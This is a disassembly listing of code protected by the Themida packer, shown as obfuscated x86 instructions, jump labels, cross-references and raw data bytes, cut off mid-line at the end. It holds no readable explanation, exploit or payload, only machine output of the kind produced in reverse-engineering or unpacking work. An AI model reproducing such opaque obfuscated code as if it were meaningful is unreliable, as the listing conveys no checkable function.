mov esi, 16D448B6h sub esi, 0F1E1716h sub eax, esi pop esi jmp loc_55DFC2 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 9786804h, 92E90000h, 83FFFFA7h, 0E94FFFEFh dd 0FFFF7F45h ; --------------------------------------------------------------------------- loc_55E318: ; CODE XREF: Themida_:00564108j push edx jmp loc_5545A7 ; --------------------------------------------------------------------------- dw 0F766h dd 8B662414h, 0C483242Ch, 0EA316602h, 0E9D53166h, 0FFFFD896h ; --------------------------------------------------------------------------- loc_55E334: ; CODE XREF: Themida_:0055B04Dj shl edi, 8 add edi, 10DB6004h add ebx, edi pop edi push esi jmp loc_56680A ; --------------------------------------------------------------------------- loc_55E346: ; CODE XREF: Themida_:00562D06j push eax mov ah, 0FEh xor bh, ah pop eax push edx mov dh, 4Fh shr dh, 6 shl dh, 3 or dh, 0D7h add dh, 1 jmp loc_55CBE1 ; --------------------------------------------------------------------------- dd 0D3F2105h, 0A68BE96Fh, 0C681FFFFh, 4, 31B368h, 24148900h dd 4BAh, 0FC0AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E382: ; CODE XREF: Themida_:005674C5j sub eax, ebp pop ebp add eax, edi add eax, 7A90295Ah mov edi, [esp] add esp, 4 jmp loc_555F98 ; --------------------------------------------------------------------------- dw 0C483h dd 7B496804h, 14890000h, 81E28924h, 4C2h, 83ABE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3B2: ; CODE XREF: Themida_:0055F39Bj push ecx push esi mov esi, 24CF1B0Fh mov ecx, 5576153Eh xor ecx, esi pop esi jmp loc_566326 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4E981h, 0C870000h, 24248B24h, 55240C89h, 0D4549ABDh dd 0F272E968h, 0BB53FFFFh, 4, 0FFE7B7E9h, 0EC81ADFFh, 4 dd 52243489h, 9443DABAh, 94E2811Ah, 0F7634658h, 8EAC1DAh dd 0F281D2F7h, 8CEC4C6Eh, 0E95AD689h, 1C2Fh ; --------------------------------------------------------------------------- loc_55E41C: ; CODE XREF: Themida_:00554A4Aj add ebp, edi sub ebp, 599A6F55h mov edi, [esp] push eax push 2705h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_565BEB ; --------------------------------------------------------------------------- db 81h, 0F6h, 66h dd 958DC14h, 0B8505EF1h, 20B44067h, 0EEE9C129h, 89FFFF76h dd 4BD55E2h, 1000000h, 41D5E9EAh, 31590000h, 2434FFDAh dd 4C4835Bh, 6BA8C681h, 0EE815EDCh, 350C2FDFh, 0C681D629h dd 350C2FDFh, 6BA8EE81h, 1E95EDCh, 68FFFF66h, 0E7h, 54242C89h dd 0A64EE9h, 0E5C15F00h, 0F9ED8102h, 81FC13F7h, 0CE2C3h dd 0EF4EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4AE: ; CODE XREF: Themida_:0056233Fj pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push esp jmp loc_56519A ; --------------------------------------------------------------------------- loc_55E4C2: ; CODE XREF: Themida_:0055F016j add esp, 4 sub esp, 2 mov [esp], ax mov al, 0B4h xor al, 8Ah jmp loc_562436 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 53240C89h, 0F025C0BBh, 6BEB8111h dd 0E9C3ABBAh, 4214h, 8324348Bh, 0DAE904C4h, 1000026h dd 0C8B5BDDh, 5AFCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E50E: ; CODE XREF: Themida_:0055F5DBj mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5658AC ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 0FFCD2DE9h, 0E3EB81FFh, 29CF03D4h, 0EC835BD8h dd 241C8904h, 0FA5737BBh, 5BD80122h, 4EC815Dh, 89000000h dd 0A0BE2434h, 0E935E854h, 0FFFF533Ah ; --------------------------------------------------------------------------- loc_55E558: ; CODE XREF: Themida_:0055A163j shr edx, 1 cmp eax, edx jz loc_553DD7 push eax jmp loc_55C0D1 ; --------------------------------------------------------------------------- dd 31241C33h, 0F4E9241Ch, 0BFFFFFD8h, 25CE0393h, 8904EC83h dd 49BD242Ch, 560C986Ch, 173D54BEh, 5EF53135h, 2C8BEF21h dd 4C48324h, 0C1FFEF83h, 0BE5606EFh, 863800h, 0FF5D22E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E5A5: ; CODE XREF: Themida_:00559577j push edi mov edi, esp add edi, 4 push 793Eh mov [esp], ecx jmp loc_55978D ; --------------------------------------------------------------------------- loc_55E5BB: ; CODE XREF: Themida_:005674F9j pop ebp inc ebp jmp loc_561E6B ; --------------------------------------------------------------------------- loc_55E5C2: ; CODE XREF: Themida_:005622FCj and ecx, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5682FB ; --------------------------------------------------------------------------- dd 241C8966h, 516674B7h, 197DE9h db 0 ; --------------------------------------------------------------------------- loc_55E5E9: ; CODE XREF: Themida_:00554E45j mov [esp], esi jmp loc_556780 ; --------------------------------------------------------------------------- loc_55E5F1: ; CODE XREF: Themida_:00563E4Cj mov esp, [esp] push 3884h mov [esp], ebp push 64FAh jmp loc_5617B0 ; --------------------------------------------------------------------------- dw 0DF05h a_p_svz db '.p_颇',0 align 10h loc_55E610: ; CODE XREF: Themida_:00557576j sub ebx, 2AEC68CCh and eax, ebx mov ebx, [esp] jmp loc_55AD69 ; --------------------------------------------------------------------------- loc_55E620: ; CODE XREF: Themida_:00558DD4j add esp, 4 push 0 sub [esp], dl mov dl, [esp] jmp loc_5530AC ; --------------------------------------------------------------------------- loc_55E636: ; CODE XREF: Themida_:0055EDEFj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 4939h mov [esp], ecx mov ecx, 87976AEh push eax mov eax, 0AB0798Ah jmp loc_553CCB ; --------------------------------------------------------------------------- aXsE db ')ÅXéê…',0 dd 4C78100h, 87000000h, 5D5C243Ch, 0F405F001h, 5E13186Bh dd 8B685351h, 5B2B3A2Bh, 0EBC1D3F7h, 7985E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E686: ; CODE XREF: Themida_:00555B8Aj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 17F6h mov [esp], edx push esi jmp loc_567094 ; --------------------------------------------------------------------------- dw 34FFh dd 8982E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E6AE: ; CODE XREF: Themida_:005608FBj pop edx push edi mov edi, 4 sub esp, 4 mov [esp], esi mov esi, 62585A80h sub edx, esi mov esi, [esp] jmp loc_5534FF ; --------------------------------------------------------------------------- loc_55E6CD: ; CODE XREF: Themida_:00557AC5j pop ebx xchg eax, [esp] pop esp mov [esp], ebx push 5E05h mov [esp], ecx push 2E5h mov [esp], edi mov edi, 30A6979h jmp loc_55C365 ; --------------------------------------------------------------------------- aAGsI0ASwa db '€ÁGS³›0Ù[€ÁÄéwa',0 align 10h loc_55E700: ; CODE XREF: Themida_:00556915j push edx jmp loc_565D34 ; --------------------------------------------------------------------------- dw 895Ch dd 18BF243Ch, 813A6301h, 4ECh, 241C8900h, 0AD1F0ABBh, 4EC8305h dd 0BF243C89h, 5BE864BDh, 47C78147h, 0D136AB77h, 21C781E7h dd 950B750h, 77E95FFBh, 51FFFF77h, 42474FFh, 0FF4A85E9h dd 21685BFFh, 89000060h, 0A3B9240Ch, 4157F650h, 0FF8355E9h dd 240489FFh, 0FF9E76E9h, 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 6F4603EFh or edi, 67FD0D2Ah xor edi, 6FFF0FEBh jmp loc_5636BB ; --------------------------------------------------------------------------- loc_55E783: ; CODE XREF: Themida_:0055756Aj pop edi pop edi shr eax, 7 push ebx push 0FEE090B5h pop ebx sub eax, 5A064A90h add eax, ebx add eax, 5A064A90h jmp loc_562330 ; --------------------------------------------------------------------------- dd 9C241CF7h, 0FF48FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E7A9: ; CODE XREF: Themida_:00561F94j add esp, 4 jmp loc_55A961 ; --------------------------------------------------------------------------- loc_55E7B1: ; CODE XREF: Themida_:0055E9F1j mov esi, 76BC6808h xor esi, edx pop edx push 1EBFh mov [esp], ebx push esi mov esi, 4B3A292Dh add esi, 185406A2h jmp loc_555BC4 ; --------------------------------------------------------------------------- dw 0BE56h dd 3EAC71DFh, 2D2C681h, 0F6814C56h, 0FDF536Fh, 0CEC3E946h dd 8B66FFFFh, 89532404h, 0BD5557E3h, 62050FB5h, 4502E5C1h dd 0FFE182E9h, 0C8B5EFFh, 4C48324h, 0FF9C1CE9h, 0E9DD00FFh dd 0FFFFB377h, 0C181D1F7h, 0D2E8BFECh, 8159CF89h, 4ECh dd 962AE900h, 0C301FFFFh, 6CC1E9h db 0 ; --------------------------------------------------------------------------- loc_55E831: ; CODE XREF: Themida_:0055CB39j push 433Bh mov [esp], ecx mov ecx, 4 push ecx mov ecx, 28EF048Ah jmp loc_56588A ; --------------------------------------------------------------------------- db 0B5h, 65h, 80h dd 0E9501ECDh, 0FFFF490Bh, 76E68h, 24048900h, 749AE9h db 0 ; --------------------------------------------------------------------------- loc_55E861: ; CODE XREF: Themida_:00553DE5j mov edx, 26791488h push edx jmp loc_560C2E ; --------------------------------------------------------------------------- dd 0F706E7C1h, 0F7D7F7DFh, 9BF781DFh, 1396637h, 0C1685FFBh dd 8900000Ah, 0A9BF243Ch, 816F4333h, 3C4005F7h, 865E922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E896: ; CODE XREF: Themida_:005583E0j pop ebx shl esi, 3 or esi, 58A845B1h dec esi jmp loc_556804 ; --------------------------------------------------------------------------- dw 2C8Bh dd 18E95324h, 81FFFFF0h, 3A2434E9h, 2434FF44h, 4C4815Ah dd 81000000h, 4C1h, 240C8700h, 0FF69CDE9h, 88E788FFh, 2434FFFAh dd 4C4815Bh, 88000000h, 30585AD1h, 0F1805AD1h, 0B5068C6h dd 14890000h, 0FE25B624h, 80C6FEC6h, 0F680E3CEh, 8A61E937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E8FE: ; CODE XREF: Themida_:00561D92j pop esp push 5ED6h mov [esp], eax sub esp, 4 jmp loc_55F023 ; --------------------------------------------------------------------------- dw 0CF81h dd 7F316060h, 4640EF81h, 0E951754Ah, 2588h, 0B7C6815Ch dd 293E9E49h, 0F883E9D6h, 0BE56FFFFh, 236D0CD1h, 0FF78D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E93D: ; CODE XREF: Themida_:005530A7j push edx jmp loc_556B85 ; --------------------------------------------------------------------------- loc_55E943: ; CODE XREF: Themida_:005645FFj push 0 sub [esp], esi pop esi inc esi shr esi, 5 shr esi, 4 xor esi, 7EDEB3h jmp loc_56140C ; --------------------------------------------------------------------------- loc_55E95E: ; CODE XREF: Themida_:00562F93j inc bl jmp loc_5671AB ; --------------------------------------------------------------------------- aSIsbj db '-‘,Ý›éBj',0 dw 8900h dd 0E189240Ch, 4C181h, 51550000h, 0DC53C6B9h, 53C2BD68h dd 1CE968DCh, 59000053h, 8704C483h, 248B2404h, 66E1F624h dd 0E9CCB60Fh, 4C89h, 24248Bh, 0E99C2404h, 0FFFF46F9h dd 0FF46F4E9h, 0B46855FFh, 5D53906Dh, 5CED814Dh, 0F72E3A52h dd 7F581D5h, 899C38ABh, 0EF815DEFh, 3D481831h, 0FFA9D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E9D5: ; CODE XREF: Themida_:00568D2Fj push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_566F6B ; --------------------------------------------------------------------------- loc_55E9E8: ; CODE XREF: Themida_:00565CA8j mov [esp], esi push edx mov edx, 655D0654h jmp loc_55E7B1 ; --------------------------------------------------------------------------- dw 0DB2Dh dd 1003B1Fh, 0D1E958C1h, 81FFFF87h, 0B13422EEh, 0E9F5899Dh dd 1C0Fh ; --------------------------------------------------------------------------- loc_55EA10: ; CODE XREF: Themida_:005631A6j pop edx jmp loc_558E9C ; --------------------------------------------------------------------------- dw 4B9h dd 0E9000000h, 93A8h ; --------------------------------------------------------------------------- loc_55EA20: ; CODE XREF: Themida_:005621AAj mov ebp, 1B2027A9h and ebp, 619F1C57h neg ebp or ebp, 5452F71h jmp loc_554F5E ; --------------------------------------------------------------------------- dd 489665Ch, 4663E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA42: ; CODE XREF: Themida_:00568D46j mov [esp], ebx mov ebx, 6A714357h and ebx, 2B4151FDh jmp loc_56151A ; --------------------------------------------------------------------------- loc_55EA55: ; CODE XREF: Themida_:00566EA2j shl edx, 3 push eax mov eax, 7A8813FDh jmp loc_567C7B ; --------------------------------------------------------------------------- db 0BAh align 8 dd 967AE9h, 52596600h, 0D5E900B6h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA77: ; CODE XREF: Themida_:0055A49Ej sub esi, 756F2549h mov edi, [esp] add esp, 4 xor eax, esi jmp loc_55710F ; --------------------------------------------------------------------------- dw 0ED81h dd 6E072CFBh, 7B868h, 240C8900h, 560AAEB9h, 59CD215Eh dd 800ED81h, 0EF015040h, 8CBB535Dh, 0D1431605h, 0ECC381E3h dd 179D3F4h, 3C875BDFh, 24248B24h, 34A068h, 243C8900h dd 0FF9047E9h, 45D3E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAD2: ; CODE XREF: Themida_:00554DE2j xor esi, ebx xchg esi, edx sub edx, 7C5A69C8h xor edi, edx jmp loc_5544F8 ; --------------------------------------------------------------------------- db 29h dd 0BD5559C8h, 3BBA1DE7h, 0E2E9E801h, 81FFFFB8h, 6476EFEFh dd 309AE905h, 1C890000h, 0E7895724h, 57DE68h, 241C8900h dd 4BBh, 0E9DF0100h, 0FFFF6EEDh, 2BB53h, 0DD890000h, 76FB685Bh dd 34890000h, 0EDE95024h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB2F: ; CODE XREF: Themida_:0055CDE3j pop esp not edx push ebp mov ebp, 6DC1778Fh add edx, ebp pop ebp push ebp mov ebp, 220535D0h and ebp, 1D15626Eh jmp loc_565977 ; --------------------------------------------------------------------------- dd 0E941C280h, 0FFFFB94Fh, 1632B3B8h, 105405Ch, 0D000000h dd 40721DBEh, 0C107E0C1h, 87E908E8h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB6F: ; CODE XREF: Themida_:00560377j add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_556ED4 push dword ptr [edi+1Ch] jmp loc_55BAE3 ; --------------------------------------------------------------------------- loc_55EB91: ; CODE XREF: Themida_:00553BA1j push esi push 6A2644ACh jmp loc_555A20 ; --------------------------------------------------------------------------- dd 8702C083h, 0B9E92404h, 59FFFFB4h, 415AD131h, 497EB850h dd 0D0F74FFDh, 0B0F60548h, 0C109C51Fh, 4E9C158h, 1A44BB53h dd 0E3C14E30h, 81DBF704h, 9F62A3F3h, 8BD9014Fh, 0C483241Ch dd 5E1C104h, 0FF79CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBE1: ; CODE XREF: Themida_:00560140j push dword ptr [esp] pop eax push 0D2Dh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 28Ch mov [esp], ebx sub esp, 4 mov [esp], ecx push eax push 75F755ECh pop eax jmp loc_565C9E ; --------------------------------------------------------------------------- db 0D0h, 0E4h, 0E9h dd 0FFFFDF6Bh ; --------------------------------------------------------------------------- loc_55EC24: ; CODE XREF: Themida_:0055BE20j push 7A9Bh mov [esp], edx push ebx mov ebx, ecx mov edx, ebx pop ebx push edx pop ebx push dword ptr [esp] pop edx add esp, 4 pop ecx push edi jmp loc_564C65 ; --------------------------------------------------------------------------- dw 8966h dd 8B66242Ch, 89562414h, 0EC8355E6h, 84D1E904h, 0D0890000h dd 8BC1895Ah, 0C4812404h, 4, 6237C681h, 1BE9311Fh, 1000008h dd 480BE9C8h, 34FFFFFFh, 0E04FE924h, 0BB53FFFFh, 7E670C8Fh dd 815BD901h, 637137C1h, 243C8B10h, 4C481h, 4F2D0000h dd 29452152h, 4EC83C8h, 0B9240C89h, 6A570C4h, 2414F751h dd 14C18159h, 14BC6C3h, 2434FFC8h, 4C48159h, 0FF000000h dd 57592434h, 0C781E789h, 4, 8704C783h, 15C243Ch, 81B951D8h dd 0E91CA22Fh, 0FFFFFF8Fh ; --------------------------------------------------------------------------- loc_55ECE0: ; CODE XREF: Themida_:005648F2j inc eax jmp loc_55837D ; --------------------------------------------------------------------------- dw 0E3D0h dd 0CBFED3F6h, 0BBB25266h, 2854EB80h, 54C380D3h, 0FFC062E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ECFD: ; CODE XREF: Themida_:0055F3A2j pop edx add edi, 5ECC2174h add edi, ecx sub edi, 5ECC2174h add edi, 6D3535E2h jmp loc_56767B ; --------------------------------------------------------------------------- loc_55ED17: ; CODE XREF: Themida_:0055A3F3j add esi, 673367B6h mov eax, [esp] push edi push esp pop edi jmp loc_562992 ; --------------------------------------------------------------------------- loc_55ED28: ; CODE XREF: Themida_:0055ABEEj add esp, 4 add esp, 4 push 6078h mov [esp], eax jmp loc_561F8A ; --------------------------------------------------------------------------- loc_55ED3B: ; CODE XREF: Themida_:00563212j push ebp mov ebp, 6D1C1899h xor ebx, ebp jmp loc_564747 ; --------------------------------------------------------------------------- loc_55ED48: ; CODE XREF: Themida_:00553B51j sub ebp, 75C91EFBh pop ebx add eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] push 6A9h mov [esp], esi push ebp push edi mov edi, 9A27D0Eh mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_55EE0A ; --------------------------------------------------------------------------- dd 5202E8C1h, 0FF9595E9h, 48B66FFh, 3C1D6824h, 34890000h dd 0E95E5424h, 3391h, 18D56859h, 4890000h, 4B824h, 0C6290000h dd 72A5E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDA6: ; CODE XREF: Themida_:00562DD1j add esp, 4 xchg ebp, [esp] pop esp sub [esp], al pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dw 0B450h dd 3ECC0B6h, 0F600EC80h, 80C480DCh, 0FF462FE9h, 1627BDFFh dd 0EDC147C2h, 64C2E904h, 34870000h, 28D7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EDDE: ; CODE XREF: Themida_:00568C0Cj mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_55E636 ; --------------------------------------------------------------------------- dd 0D0285A66h, 2E2C3B04h, 8124148Bh, 4C4h, 0DE5CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE0A: ; CODE XREF: Themida_:0055ED6Fj mov esi, ebp mov ebp, [esp] add esp, 4 jmp loc_557FAB ; --------------------------------------------------------------------------- dw 2C81h dd 0E0720C24h, 24048B6Ah, 4C481h, 0C050000h, 5F6AE072h dd 585EBA52h, 0D58965BEh, 12CD815Ah, 4D455F28h, 149CF581h dd 0C5312908h, 582434FFh, 0E904EC83h, 6D0Ch, 0E95BDE89h dd 0FFFF60B1h ; --------------------------------------------------------------------------- loc_55EE5C: ; CODE XREF: Themida_:005604CCj pop esp mov [esp], edi mov edi, ebx push 21F8h mov [esp], ebx push 7930h mov [esp], edi sub dword ptr [esp], 4276C90h pop ebx push edi mov edi, 0AF85A3Fh shl edi, 5 jmp loc_55691A ; --------------------------------------------------------------------------- dd 7E7D2068h, 0C7815F47h, 45BC54ACh, 0B2A6EF81h, 0FE8915FEh dd 0FF589AE9h, 241C8BFFh, 4C481h, 3C330000h, 243C3124h dd 8B243C33h, 8B662424h, 83522404h, 248904ECh, 24048124h dd 4, 0E924148Bh, 0FFFF77C5h, 31D2EB8h, 0D0F74839h, 3F8368h dd 24048900h, 0E9240487h, 0FFFF8FE6h, 0C381E389h, 4, 4C381h dd 0EC830000h, 241C8904h, 42474FFh, 24048F5Bh, 38B4055Ch dd 0FB2D7C87h, 50C615Fh, 64D345C8h, 5330E9h, 1C77FF00h dd 6658669Dh, 9C240419h, 9628E9h db 0 ; --------------------------------------------------------------------------- loc_55EF29: ; CODE XREF: Themida_:0055998Dj mov [esp], eax push edx mov dl, 0DAh mov ah, dl mov edx, [esp] push edx jmp loc_554EC0 ; --------------------------------------------------------------------------- dw 34FFh dd 0EC835A24h, 240C8904h, 0C1815954h, 4, 16A4E9h, 0C8B6600h dd 238B6824h, 4890000h, 53E08924h, 50ADBE56h, 0E2E92933h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF6B: ; CODE XREF: Themida_:0056670Cj not dword ptr [esp] pop ecx xchg ecx, ebp push edi mov edi, 1B0E6541h or edi, 537E6983h not edi shl edi, 2 add edi, 8C5CC4FBh jmp loc_56324F ; --------------------------------------------------------------------------- loc_55EF8D: ; CODE XREF: Themida_:00563A4Bj mov ch, 6Dh and ch, 0EDh push ebx jmp loc_568010 ; --------------------------------------------------------------------------- dd 243C895Ch, 4BFh, 0FFF92900h, 0B5E92434h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EFAB: ; CODE XREF: Themida_:00565528j pop ecx xor ecx, ebx jmp loc_557EA3 ; --------------------------------------------------------------------------- db 1 dd 0C6815BDEh, 4, 0E9243433h, 0FFFFE1C5h, 0FF40DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EFC9: ; CODE XREF: Themida_:005582FFj add dh, 0E7h sub dh, 0B5h add bl, dh pop edx movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], esi jmp loc_55CD40 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 315AD031h, 30FF66C3h, 0FF40ACE9h, 0DA2959FFh dd 27F0C281h, 0E95B00DAh, 3812h, 0E2C1424Ah, 34E95506h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F013: ; CODE XREF: Themida_:0056570Dj add esp, 4 jmp loc_55E4C2 ; --------------------------------------------------------------------------- loc_55F01B: ; CODE XREF: Themida_:00555E24j shl ecx, 4 jmp loc_560A72 ; --------------------------------------------------------------------------- loc_55F023: ; CODE XREF: Themida_:0055E90Dj mov [esp], ebx jmp loc_55F180 ; --------------------------------------------------------------------------- loc_55F02B: ; CODE XREF: Themida_:00567C7Dj pop eax add edx, 14AE73A7h jmp loc_567711 ; --------------------------------------------------------------------------- db 5Eh dd 6833AA2Dh, 0BA25E949h, 0B850FFFFh, 3ABE0B1Ch, 0FF7F78E9h dd 532D2DFFh, 0C109BE07h, 7C5E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F05A: ; CODE XREF: Themida_:005551F6j push eax mov eax, 24h add eax, edi add [eax], ebx pop eax push dword ptr [esp] pop ebx push ebx push esp push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push edx push 48EAh jmp loc_55B959 ; --------------------------------------------------------------------------- db 29h dd 0FA69E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F08A: ; CODE XREF: Themida_:0055A254j add eax, 4 add eax, 4 jmp loc_56624D ; --------------------------------------------------------------------------- loc_55F097: ; CODE XREF: Themida_:00568A73j mov edx, 2F1D5808h jmp loc_567E66 ; --------------------------------------------------------------------------- loc_55F0A1: ; CODE XREF: Themida_:0055640Bj push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp push esi mov esi, 4 add edx, esi push dword ptr [esp] jmp loc_55C1C1 ; --------------------------------------------------------------------------- dd 0FBBA5251h, 420F4A6Ah, 0C106E2C1h, 0DAF708EAh, 1329F281h dd 0D18994A3h, 4E9C15Ah, 0F703E1C1h, 7504E9D9h, 0C8B0000h dd 8B545124h, 99E9240Ch, 55FFFF88h, 5444E952h, 8B660000h dd 0EC81240Ch, 4, 89243C89h, 5531E9E7h, 0C601FFFFh, 582434FFh dd 0FF5A71E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F121: ; CODE XREF: Themida_:00568D7Bj push 464Dh mov [esp], esi jmp loc_56115B ; --------------------------------------------------------------------------- dw 0B551h dd 59EB2807h, 10E95066h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F13B: ; CODE XREF: Themida_:0055C372j sub ecx, 2335530Ah push dword ptr [esp] pop edi add esp, 4 add ecx, 0DF07870Ch mov ebx, ecx jmp loc_55B879 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0E9h dd 0FFFF8858h ; --------------------------------------------------------------------------- loc_55F15C: ; CODE XREF: Themida_:00553745j xor eax, esi jmp loc_568BB2 ; --------------------------------------------------------------------------- db 1 dd 241C8BDEh, 4C481h, 7BE90000h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F173: ; CODE XREF: Themida_:005537DDj add esp, 4 push ecx push edx sub esp, 4 jmp loc_563515 ; --------------------------------------------------------------------------- loc_55F180: ; CODE XREF: Themida_:0055F026j push 5AB04D75h pop ebx add ebx, 0B133970h not ebx sub ebx, 9A3C7916h mov eax, ebx pop ebx push edx push ecx mov ecx, 6D9C527Dh shl ecx, 7 jmp loc_55F939 ; --------------------------------------------------------------------------- dw 0C89h dd 7AF9B924h, 0E1813164h, 49FD4892h, 7E09C981h, 0D9F7723Bh dd 2709BB53h, 0D3F73957h, 504EB81h, 0CB8112B5h, 71A843ADh dd 2134B951h, 81490C35h, 0D2CDBE9h, 0E9D1F720h, 0FFFF7E8Ah ; --------------------------------------------------------------------------- loc_55F1E4: ; CODE XREF: Themida_:0055887Cj push dword ptr [esp+4] mov ebx, [esp] jmp loc_564FB1 ; --------------------------------------------------------------------------- dd 5097ED80h, 0FFA2B8E9h, 10E95DFFh, 55FFFF8Dh, 0FFFBC4E9h dd 49E951FFh, 0BEFFFF77h, 0DFEFDB82h, 4955C781h, 0F701384Eh dd 9590E9h, 46E95000h, 30000006h, 58CDE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F22A: ; CODE XREF: Themida_:00563F3Cj add edi, 4 push esi mov esi, 4 sub edi, 24023132h add edi, esi add edi, 24023132h mov esi, [esp] add esp, 4 xchg edi, [esp] pop esp push eax push 18C3h mov [esp], ebp push 5D8A7CFDh pop ebp shl ebp, 2 push edx jmp loc_555E68 ; --------------------------------------------------------------------------- dw 3AE9h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F26B: ; CODE XREF: Themida_:0055511Dj xor edx, 21D3634Ch push ebp jmp loc_56128E ; --------------------------------------------------------------------------- db 80h dd 0DDF601EDh, 0ED80C5FEh, 59EE20B7h, 80D2EE80h, 4AE9CFC6h dd 0F7000035h, 0C58145D5h, 3D10164Ah, 0FFFFBE56h, 0F501FFFFh dd 0DBF5815Eh, 10D6154h, 0C6815DEEh, 3DE9C844h, 0F5E9F201h dd 8B000046h, 68512404h, 1221h, 0FF783AE9h, 8BC329FFh dd 0C4812404h, 4, 0F75BDA89h, 0E2C281DAh, 81559B8Ah, 4ECh dd 24148900h, 0E9E08950h, 0FFFFD0A2h, 27ED815Eh, 31EE1673h dd 25E95DEEh, 35000058h, 280C0015h, 4CEA81h, 0C20158D4h dd 4CC281h, 48B58D4h, 4C48124h, 87000000h, 0DEE92414h dd 80FFFFA0h, 0C680DAEEh, 6601042Fh, 0E959B652h, 4DAh dd 0B60F66h, 22326851h, 24890000h, 24048124h, 4, 81240C8Bh dd 4C4h, 0E6895600h, 0FFA3C8E9h, 2CD828FFh, 66362CB7h dd 9493E95Bh, 0EC81FFFFh, 4, 89241489h, 4C281E2h, 81000000h dd 4C2h, 7E0BE900h, 0FDBB0000h, 81D911D2h, 67192DEFh, 81DF2923h dd 67192DC7h, 0F9315B23h, 2CFFE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F39A: ; CODE XREF: Themida_:00565602j pop esp jmp loc_55E3B2 ; --------------------------------------------------------------------------- loc_55F3A0: ; CODE XREF: Themida_:0055B325j sub edi, edx jmp loc_55ECFD ; --------------------------------------------------------------------------- loc_55F3A7: ; CODE XREF: Themida_:00560F75j push ebp mov ebp, esp push esi jmp loc_563DDA ; --------------------------------------------------------------------------- loc_55F3B0: ; CODE XREF: Themida_:0055D9A8j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax jmp loc_55D86B ; --------------------------------------------------------------------------- db 5Fh dd 2404875Dh, 807FE9h, 39E95900h, 47FFFFC7h, 0D1F7CF87h dd 814FCF87h, 561948EFh, 0E9FD01F5h, 0F5Dh, 305AEB81h dd 0DD89439Ah, 0E9EE295Bh, 90F2h, 0FF3CA0E9h, 3A5F3FFh dd 0EC813862h, 4, 0BE243489h, 6C4560D7h, 60D7EE81h, 0E9506C45h dd 7D53h ; --------------------------------------------------------------------------- loc_55F424: ; CODE XREF: Themida_:005645A6j mov esi, 4 add edi, esi pop esi push 5CE7h jmp loc_55739B ; --------------------------------------------------------------------------- dw 0DEF7h dd 704F681h, 4DE9519Bh, 0BEFFFFE0h, 3BA654B9h, 4FD9BD55h dd 0D5F7530Dh, 0FFCFBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F455: ; CODE XREF: Themida_:00557D06j add esp, 4 xor ecx, 3111260h pop eax sub ecx, edx jmp loc_55B31E ; --------------------------------------------------------------------------- loc_55F469: ; CODE XREF: Themida_:00562D83j xchg ebx, [esp] pop esp push ebp mov ebp, 4A3C270Ah xor ebp, 708E0944h jmp loc_561865 ; --------------------------------------------------------------------------- dw 0C87h aISA db 